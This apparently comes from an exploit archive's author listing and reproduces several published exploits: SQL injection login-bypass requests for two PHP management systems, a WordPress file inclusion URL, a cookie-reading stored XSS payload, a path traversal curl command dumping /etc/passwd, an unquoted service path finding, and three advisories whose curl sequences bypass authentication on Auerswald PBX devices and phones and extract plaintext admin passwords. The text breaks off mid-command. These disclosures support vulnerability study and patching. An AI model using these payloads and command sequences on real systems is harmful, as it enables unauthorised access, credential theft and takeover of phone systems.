
Everything posted by HireHackking
-
Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass
# Exploit Title: Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass # Date: 01-12-2021 # Exploit Author: Mohamed habib Smidi (Craniums) # Vendor Homepage: https://www.sourcecodester.com/php/15067/online-pre-ownedused-car-showroom-management-system-php-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/used_car_showroom.zip # Version: 1.0 # Tested on: Ubuntu # Description : Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form. # Request : POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/used_car_showroom/admin/login.php Cookie: PHPSESSID=v0h6049m9ppunsh8vtfc8oj4p5 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin username='+or+1%3D1+limit+1+--+-%2B&password=aaaa --
-
WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI)
# Exploit Title: WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI) # Exploit Author: Mohamed Magdy Abumusilm Aka m19o # Software: All-in-One Video Gallery plugin # Version: <= 2.4.9 # Tested on: Windows,linux Poc: https://example.com/wordpress/wp-admin/admin.php?page=all-in-one-video-gallery&tab=../../../../../poc Decription : Authenticated user can exploit LFI vulnerability in tab parameter. Vulnerable code block : https://i.ibb.co/hXRcSQp/1123.png You can find a writeup at my blog : https://m19o.github.io/posts/How-i-found-my-first-0day/
-
Online Magazine Management System 1.0 - SQLi Authentication Bypass
# Exploit Title: Online Magazine Management System 1.0 - SQLi Authentication Bypass # Date: 01-12-2021 # Exploit Author: Mohamed habib Smidi (Craniums) # Vendor Homepage: https://www.sourcecodester.com/php/15061/online-magazine-management-system-php-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/magazines_0.zip # Version: 1.0 # Tested on: Ubuntu # Description : Admin panel authentication can be bypassed due to SQL injection vulnerability in the login form. # Request : POST /magazines/classes/Login.php?f=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://localhost Connection: close Referer: http://localhost/magazines/admin/login.php Cookie: PHPSESSID=863plvf7rpambpkmk2cipijgra Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin username='+or+1%3D1+limit+1+--+-%2B&password=aaaa
-
WordPress Plugin Slider by Soliloquy 2.6.2 - 'title' Stored Cross Site Scripting (XSS) (Authenticated)
# Exploit Title: WordPress Plugin Slider by Soliloquy 2.6.2 - 'title' Stored Cross Site Scripting (XSS) (Authenticated) # Date: 02/12/2021 # Exploit Author: Abdurrahman Erkan (@erknabd) # Vendor Homepage: https://soliloquywp.com/ # Software Link: https://wordpress.org/plugins/soliloquy-lite/ # Version: 2.6.2 # Tested on: Kali Linux 2021 - Firefox 78.7, Windows 10 - Brave 1.32.113, WordPress 5.8.2 # Proof of Concept: # # 1- Install and activate the Slider by Soliloquy 2.6.2 plugin. # 2- Open Soliloquy and use "Add New" button to add new post. # 3- Add payload to title. Payload: <script>alert(document.cookie)</script> # 4- Add any image in post. # 5- Publish the post. # 6- XSS has been triggered. # # Go to this url "http://localhost/wp-admin/post.php?post=1&action=edit" XSS will trigger. - For wordpress users. # Go to this url "http://localhost/?post_type=soliloquy&p=1" XSS will trigger. - For normal users.
-
WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)
# Exploit Title: WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated) # Google Dork: inurl:/wp-content/plugins/dzs-zoomsounds/ # Date: 2/12/2021 # Exploit Author: Uriel Yochpaz # Vendor Homepage: https://digitalzoomstudio.net/docs/wpzoomsounds/ # Software Link: # Version: 1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30, 2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10, 3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03, 5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45 # Tested on: Linux (DZS Zoomsounds version 5.82) # CVE : CVE-2021-39316 The vulnerability allows a remote attacker to perform directory traversal attacks. The vulnerability exists due to input validation error when processing directory traversal sequences in the "link" parameter in the "dzsap_download" action. A remote attacker can send a specially crafted HTTP request and read arbitrary files on the system. Mitigation: Install update from vendor's website. Vulnerable software versions ZoomSounds: 1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.02, 2.10, 2.20, 2.30, 2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.01, 3.03, 3.04, 3.10, 3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.51, 4.63, 5.00, 5.03, 5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.10, 6.21, 6.34, 6.45 PoC: user@ubuntu:~$ curl "http://localhost/MYzoomsounds/?action=dzsap_download&link=../../../../../../../../../../etc/passwd" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
-
Auerswald COMfortel 2.8F - Authentication Bypass
# Exploit Title: Auerswald COMfortel 2.8F - Authentication Bypass # Date: 06/12/2021 # Exploit Author: RedTeam Pentesting GmbH # Version: 1400/2600/3600 Advisory: Auerswald COMfortel 1400/2600/3600 IP Authentication Bypass RedTeam Pentesting discovered a vulnerability in the web-based configuration management interface of the Auerswald COMfortel 1400 and 2600 IP desktop phones. The vulnerability allows accessing configuration data and settings in the web-based management interface without authentication. Details ======= Product: Auerswald COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP Affected Versions: <= 2.8F Fixed Versions: 2.8G (for COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP) Vulnerability Type: Authentication Bypass Security Risk: high Vendor URL: https://www.auerswald.de Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-004 Advisory Status: published CVE: CVE-2021-40856 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40856 Introduction ============ "The COMfortel 2600 IP is an Android-based hybrid VoIP telephone (SIP and IP system phone), with 4.3" colour touch display and preconfigured answering machine" (from the vendor's homepage) More Details ============ During a penetration test it was discovened that several VoIP phones (COMfortel 2600 and 1400 IP) by the manufacturer Auerswald allow accessing administrative functions without login credentials, bypassing the authentication. This can be achieved by simply prefixing API endpoints that require authentication with "/about/../", since the "/about" endpoint does not require any authentication. Proof of Concept ================ The phones run a web-based management interface on Port 80. If accessed, the HTTP response code 401 together with a website redirecting to the path "/statics/pageChallenge.html" is returned. This can for example be seen using the command-line HTTP client curl[1] as follows: ------------------------------------------------------------------------ $ curl --include 'http://192.168.1.190/' HTTP/1.1 401 Unauthorized [...] <!DOCTYPE html><html><head><meta http-equiv='refresh' content='0; URL=/statics/pageChallenge.html'></head><body></body></html> ------------------------------------------------------------------------ The website contains JavaScript code that requests the path "/about?action=get" and loads a JSON document (formatted and shortened to increase readability): ------------------------------------------------------------------------ $ curl --include 'http://192.168.1.190/about?action=get' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Cache-Control: no-cache Content-Length: 3673 Date: Mon, 30 Aug 2021 08:39:24 GMT Server: lighttpd { "DATA": { "firmware": { "TYPE": "DATAITEM", "VALUE": "2.8E", "KEY": "firmware" }, "serial": { "TYPE": "DATAITEM", "VALUE": "1234567890", "KEY": "serial" }, [...] } } ------------------------------------------------------------------------ Among other information, this JSON document contains the serial number and firmware version displayed on the website. This action can be accessed without authentication. Other endpoints require authentication, for example the path "/tree?action=get", from which the menu structure is loaded after successful authentication: ------------------------------------------------------------------------ $ curl --include 'http://192.168.1.190/tree?action=get' HTTP/1.1 401 Unauthorized [...] <!DOCTYPE html><html><head><meta http-equiv='refresh' content='0; URL=/statics/pageChallenge.html'></head><body></body></html> ------------------------------------------------------------------------ During the penetration test, it was discovered that this action can successfully be requested by inserting the prefix "/about/../". In order to prevent curl from normalizing the URL path, the option "--path-as-is" must be supplied: ------------------------------------------------------------------------ $ curl --include --path-as-is \ 'http://192.168.1.190/about/../tree?action=get' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Cache-Control: no-cache Content-Length: 3808 Date: Mon, 30 Aug 2021 08:42:11 GMT Server: lighttpd { "TYPE": "TREENODEPAGE", "ITEMS": { "COUNT": 2, "TYPE": "ITEMLIST", "1": { "id": 31, "text": "applications_settings", "TYPE": "TREENODEPAGE", "ITEMS": { "COUNT": 1, "TYPE": "ITEMLIST", "0": { "target": "pageFunctionkeys.html", "id": 32, "action": "/functionkeys", "text": "key_app", "pagename": "Functionkeys", "TYPE": "TREENODEPAGE" } } }, [...] } } ------------------------------------------------------------------------ The endpoint "/account" allows listing account data: ------------------------------------------------------------------------ $ curl --include --path-as-is \ 'http://192.168.1.190/about/../account?action=list' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Cache-Control: no-cache Content-Length: 793 Date: Mon, 30 Aug 2021 08:43:33 GMT Server: lighttpd { "DATA": { [...] "accountList0": { "KEY": "accountList0", "COUNT": 1, "TYPE": "DATAMODEL", "VALUE": { "0": { "ID": 32327, "PARENTID": 0, "PROVIDER": "ProviderName", "NAME": "123 Example User", "STATUS": 4, "DEFAULT": 1 } }, [...] }, } } ------------------------------------------------------------------------ The ID 32327 can then be used to get details about that particular account, including the username and password: ------------------------------------------------------------------------ $ curl --include --path-as-is \ 'http://192.168.1.190/about/../account?action=get&itemID=32327' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Cache-Control: no-cache Content-Length: 2026 Date: Mon, 30 Aug 2021 08:44:13 GMT Server: lighttpd { "DATA": { [...] "Benutzer": { "TYPE": "DATAITEM", "VALUE": "123", "KEY": "Benutzer" }, "Passwort": { "TYPE": "DATAITEM", "VALUE": "secret", "KEY": "Passwort" }, [...] } } ------------------------------------------------------------------------ Using a script for Zed Attack Proxy[2], RedTeam Pentesting managed to access and use the web-based management interface as if regular login credentials were presented. It is likely that other functionality can be accessed in the same way, to for example change settings or activate the integrated option for recording the Ethernet traffic. Workaround ========== Disable the web-based management interface if possible. Fix === Upgrade to a firmware version which corrects this vulnerability. Security Risk ============= Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data. Attackers can then authenticate at the PBX as the respective phone and for example call premium rate phone lines they operate to generate revenue. They can also configure a device they control as the PBX in the phone, so all incoming and outgoing phone calls are intercepted and can be recorded. The device also contains a function to record all Ethernet data traffic, which is likely affected as well. Overall, the vulnerability completely bypasses the authentication for the web-based management interface and therefore poses a high risk. References ========== [1] https://curl.se [2] https://github.com/zaproxy/zaproxy/ Timeline ======== 2021-08-26 Vulnerability identified 2021-09-01 Customer approved disclosure to vendor 2021-09-10 Vendor notified 2021-09-10 CVE ID requested 2021-09-10 CVE ID assigned 2021-10-04 Vendor provides access to device with fixed firmware 2021-10-05 RedTeam Pentesting examines device, vulnerability seems to be corrected 2021-10-14 Vendor releases corrected firmware version 2.8G 2021-12-06 Advisory published RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
-
HCL Lotus Notes V12 - Unquoted Service Path
# Exploit Title: HCL Lotus Notes V12- Unquoted Service Path # Exploit Author: Mert DAŞ # Version: V12 # Date: 01/12/2021 # Vendor Homepage: https://www.hcltechsw.com/domino/download # Tested on: Windows 10 ProcessId : 3860 Name : LNSUSvc DisplayName : HCL Notes Smart Upgrade Hizmeti PathName : c:\HCL\Notes\SUService.exe StartName : LocalSystem StartMode : Auto State : Running Discovery ------------------------- C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
-
Auerswald COMpact 8.0B - Arbitrary File Disclosure
# Exploit Title: Auerswald COMpact 8.0B - Arbitrary File Disclosure # Date: 06/12/2021 # Exploit Author: RedTeam Pentesting GmbH Advisory: Auerswald COMpact Arbitrary File Disclosure RedTeam Pentesting discovered a vulnerability in the web-based management interface of the Auerswald COMpact 5500R PBX which allows users with the "sub-admin" privilege to access any files on the PBX's file system. Details ======= Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19") Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)) Fixed Versions: 8.2B Vulnerability Type: Arbitrary File Disclosure Security Risk: medium Vendor URL: https://www.auerswald.de/en/product/compact-5500r Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-006 Advisory Status: published CVE: CVE-2021-40858 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40858 Introduction ============ "Fully modular VoIP appliance for more efficient communication processes With the COMpact 5500R, you are originally equipped for everyday business - now and in the future. The fully modular architecture with 80 IP channels and all the functions of a large ITC server allows up to 112 subscribers and thus scales with your company. Continuous maintanance and expansion of the system software makes this versatile IP server a future-proof investment in any business communication." (from the vendor's homepage) More Details ============ RedTeam Pentesting discovered that attackers with administrative access to the PBX's web-based management interface (as a so-called "sub-admin") can download arbitrary files from the PBX's file system. This includes the usually not accessible configuration database which contains the password for the highly privileged "Admin" user in clear text. Proof of Concept ================ The command-line HTTP client curl[1] can be used to log into the management interface of the PBX with the username "sub-admin" and the password "verysecretpassword" as follows: ------------------------------------------------------------------------ $ curl --anyauth --user sub-admin:verysecretpassword --include \ https://192.168.1.2/tree [...] HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/ [...] [{"login":2,"userId":2222,[...]}] ------------------------------------------------------------------------ The server returns a session ID in a cookie which is then used to check the access level: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \ https://192.168.1.2/logstatus_state HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"logstatus":"Sub-Administrator"} ------------------------------------------------------------------------ In the PBX's user management, the access level "Sub-Administrator" is used for user accounts who should be able to configure the PBX. There are also other, higher-level access privileges. Users with the "sub-admin" privilege can configure music on hold (MOH, "Wartemusik"), and for example listen to the currently configured music. In order to do this, the browser requests the music files from the PBX. The file "alarm1.wav" can be accessed with curl as follows: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \ 'https://192.168.1.2/wartemusik_verwaltung_play?fileName=alarm1.wav'\ '&pageindex=1' HTTP/1.1 200 OK Content-Type: audio/x-wav; charset= Content-Length: 132192 Content-disposition: attachment; filename="alarm1.wav" [...] ------------------------------------------------------------------------ It was found that the PBX allows directory traversal with the string "../", so the file "/etc/passwd" can be accessed as follows: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \ 'https://192.168.1.2/wartemusik_verwaltung_play?'\ 'fileName=../../etc/passwd&pageindex=' HTTP/1.1 200 OK [...] Content-Length: 113 Content-disposition: attachment; filename="../../etc/passwd" [...] root::0:0:root:/root:/bin/sh netstorage::1:1::/data/ftpd:/bin/false web::2:2::/opt/auerswald/lighttpd:/bin/false ------------------------------------------------------------------------ The same issue is present in the function for managing logos. A regular request for the file "logo1.jpg" is shown below: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \ 'https://192.168.1.2/logo_verwaltung_preview?fileName=logo1.jpg&424' HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: image/jpg; charset=UTF-8 Content-Length: 13986 Content-disposition: attachment; filename="logo1.jpg" [...] ------------------------------------------------------------------------ In a similar fashion as before, the file "/etc/passwd" can be accessed: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \ 'https://192.168.1.2/logo_verwaltung_preview?fileName=../../etc/passwd' HTTP/1.1 200 OK [...] root::0:0:root:/root:/bin/sh netstorage::1:1::/data/ftpd:/bin/false web::2:2::/opt/auerswald/lighttpd:/bin/false ------------------------------------------------------------------------ For attackers, an interesting file is the SQLite[2] database file "/data/db/pbx4.db". It can be downloaded as follows: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' 'https://'\ '192.168.1.2/logo_verwaltung_preview?fileName=../../data/db/pbx4.db' \ > pbx4.db % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5120 100 5120 0 0 16253 0 --:--:-- --:--:-- --:--:-- 16305 ------------------------------------------------------------------------ This file contains the password for the highly privileged "Admin" user account: ------------------------------------------------------------------------ $ sqlite3 pbx4.db SQLite version 3.27.2 2019-02-25 16:06:06 Enter ".help" for usage hints. sqlite> .tables DbFileVersion PbxMisc sqlite> select * from PbxMisc; [...] AdminPasswdHash| AdminLogin|Admin AdminPin|43214321 AdminPasswd|S3kr1t! ------------------------------------------------------------------------ The username and password can then be used to log into the web application: ------------------------------------------------------------------------ $ curl --user 'Admin:S3kr1t!' --anyauth --include \ https://192.168.1.2/tree HTTP/1.1 200 OK Set-Cookie: AUERSessionID1234123412=AJXGKBFTCIHSHAC; HttpOnly; Path=/ [...] [{"login":3,"userId":0,"userName":"",[...]}] ------------------------------------------------------------------------ Checking the access level reveals the new privilege: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=AJXGKBFTCIHSHAC' --include \ https://192.168.1.2/logstatus_state HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"logstatus":"Administrator"} ------------------------------------------------------------------------ The user "Admin", in contrast to regular administrative users ("sub-admin"), can access more functions and for example apply firmware updates. Workaround ========== Disable or restrict access to the web-based management if possible. Fix === Upgrade to a firmware version which corrects this vulnerability. Security Risk ============= Attackers who already have acquired administrative access as a so-called "sub-admin" can download a database file and access the password for the highly privileged "Admin" account. This account can use more functions and is allowed to apply firmware updates. On the one hand, exploiting this vulnerability already requires administrative access. On the other hand, attackers can reach high-privileged access to the PBX and use functions not available to "sub-admin" users, like firmware updates. All in all, this vulnerability is therefore rated to have a medium risk potential. Timeline ======== 2021-08-26 Vulnerability identified 2021-09-01 Customer approved disclosure to vendor 2021-09-10 Vendor notified 2021-09-10 CVE ID requested 2021-09-10 CVE ID assigned 2021-10-05 Vendor provides access to device with fixed firmware 2021-10-11 Vendor provides fixed firmware 2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected 2021-12-06 Advisory published References ========== [1] https://curl.se [2] https://www.sqlite.org RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
-
Auerswald COMpact 8.0B - Privilege Escalation
# Exploit Title: Auerswald COMpact 8.0B - Privilege Escalation # Date: 06/12/2021 # Exploit Author: RedTeam Pentesting GmbH Advisory: Auerswald COMpact Privilege Escalation RedTeam Pentesting discovered a vulnerability in the web-based management interface of the Auerswald COMpact 5500R PBX which allows low-privileged users to access passwords of administrative user accounts. Details ======= Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19") Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)) Fixed Versions: 8.2B Vulnerability Type: Privilege Escalation Security Risk: high Vendor URL: https://www.auerswald.de/en/product/compact-5500r Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-005 Advisory Status: published CVE: CVE-2021-40857 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40857 Introduction ============ "Fully modular VoIP appliance for more efficient communication processes With the COMpact 5500R, you are originally equipped for everyday business - now and in the future. The fully modular architecture with 80 IP channels and all the functions of a large ITC server allows up to 112 subscribers and thus scales with your company. Continuous maintanance and expansion of the system software makes this versatile IP server a future-proof investment in any business communication." (from the vendor's homepage) More Details ============ Attackers with low-privileged user accounts, for example those that are used by VoIP phones, can log into the web-based management interface of the COMpact 5500R PBX. Afterwards, the list of user accounts can be listed and details shown for each user account. Adding the URL parameter "passwd=1" then also includes the clear text password for each user account, including administrative ones, which can then be used to authenticate against the management interface. Proof of Concept ================ The command-line HTTP client curl[1] can be used as follows to log in with the username "123" and the password "secret" (shortened and formatted to increase readability): ------------------------------------------------------------------------ $ curl --anyauth --user 123:secret --include https://192.168.1.2/tree HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Set-Cookie: AUERSessionID1234123412=SNKIFTVQBGDRFJB; HttpOnly; Path=/ [...] [ { "login": 1, "userId": 1234, "userRufNr": "123", "userName": "123", "pbxType": 35, "pbxId": 0, "pbx": "COMpact 5500R", "pbxEdit": "Comp.5500R", "isActivated": 1, "dongleTnCount": 112, "currentConfig": 34, "cur": "EUR", "language": 0, "hidePrivat": 1, "offlineConfig": false }, [...] ] ------------------------------------------------------------------------ The server returns a JSON document describing the user account as well as a session ID in a cookie. This session ID can then be used to access other API endpoints on the PBX. The following listing shows the request to the path "/logstatus_state", which returns the current access level: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \ https://192.168.1.2/logstatus_state HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"logstatus":"Teilnehmer"} ------------------------------------------------------------------------ The access level in this case is "Teilnehmer" (member). The list of all other users can be requested as follows: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \ https://192.168.1.2/cfg_data_teilnehmer HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] [ [...] {"id":1234,"nr":"123","name":"Example User","isSubAdmin":false}, [...] {"id":2222,"nr":"555","name":"sub-admin other user","isSubAdmin":true} [...] ] ------------------------------------------------------------------------ Two user accounts are shown in the listing above: the current user's account with the ID 1234 and a different user account with so-called "sub-admin" privileges with the ID 2222. Details about a particular user account with a given ID can be requested like this: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \ 'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=1234' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"rufnr":"123","name":"Example User",[...], "privatPin":"XXXXXX","privatPass":"XXXXXXXXXX","privatToken":"XXXXXXXXXX", [...], "isSubadmin":0,[...]} ------------------------------------------------------------------------ In the returned JSON document, the values of the fields for the PIN, token and password are replaced by "XXX". But if the URL parameter "passwd" is set to the value 1, the values are returned in plain text: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \ 'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=1234&passwd=1' HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"rufnr":"123","name":"Example User",[...], "privatPin":"12345678","privatPass":"secretpassword", "privatToken":"yyyyyyyyyyyyy",[...], "isSubadmin":0,[...]} ------------------------------------------------------------------------ This can be repeated for other user accounts, for example for the user account with the ID 2222 shown it the listing earlier. The server returns the plain text password for the other user account: ------------------------------------------------------------------------ $ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \ 'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=2222&passwd=1 HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; [...] {"rufnr":"555","name":"sub-admin other user","privatPin":"99999999", "privatPass":"verysecretpassword","privatToken":"zzzzzzzzzz", [...],"isSubadmin":1,[...]} ------------------------------------------------------------------------ The password can then be used to log into the PBX with the other user account: ------------------------------------------------------------------------ $ curl --anyauth --user sub-admin:verysecretpassword --include \ https://192.168.1.2/tree [...] HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8; Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/ [...] [{"login":2,"userId":2222,[...]}] ------------------------------------------------------------------------ Checking the access level with the new session ID shows that the user is now logged in with an administrative account: ------------------------------------------------------------------------ $ curl --cookie 